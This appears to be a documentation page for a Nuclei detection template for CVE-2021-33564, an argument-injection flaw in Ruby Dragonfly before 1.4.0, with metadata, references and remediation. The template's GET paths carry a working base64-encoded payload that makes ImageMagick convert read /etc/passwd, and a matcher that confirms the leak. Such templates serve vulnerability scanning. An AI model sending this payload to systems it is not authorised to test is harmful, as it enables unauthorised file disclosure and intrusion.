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Ruby Dragonfly <1.4.0 - Remote Code Execution

ID: CVE-2021-33564

Severity: critical

Author: 0xsapra

Tags: cve2021,cve,rce,ruby,injection,dragonfly_project

Description

Section titled “Description”

Ruby Dragonfly before 1.4.0 contains an argument injection vulnerability that allows remote attackers to read and write to arbitrary files via a crafted URL when the verify_url option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility.

YAML Source

Section titled “YAML Source”
id: CVE-2021-33564


info:
  name: Ruby Dragonfly <1.4.0 - Remote Code Execution
  author: 0xsapra
  severity: critical
  description: Ruby Dragonfly before 1.4.0 contains an argument injection vulnerability that allows remote attackers to read and write to arbitrary files via a crafted URL when the verify_url option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade Ruby Dragonfly to version 1.4.0 or later to mitigate this vulnerability.
  reference:
    - https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/
    - https://github.com/markevans/dragonfly/compare/v1.3.0...v1.4.0
    - https://github.com/markevans/dragonfly/commit/25399297bb457f7fcf8e3f91e85945b255b111b5
    - https://github.com/mlr0p/CVE-2021-33564
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33564
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-33564
    cwe-id: CWE-88
    epss-score: 0.07547
    epss-percentile: 0.93983
    cpe: cpe:2.3:a:dragonfly_project:dragonfly:*:*:*:*:*:ruby:*:*
  metadata:
    max-request: 2
    vendor: dragonfly_project
    product: dragonfly
    framework: ruby
  tags: cve2021,cve,rce,ruby,injection,dragonfly_project


http:
  - method: GET
    path:
      - "{{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
      - "{{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b7e2c15b3abc8d9a917007935cf61bc17dc5629676d054b64969f2b487940f320220370c771cfa41bd8e56c3ee44da4535b619c2972a434a7d6a004f6a11e38b22d3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-33564.yaml"

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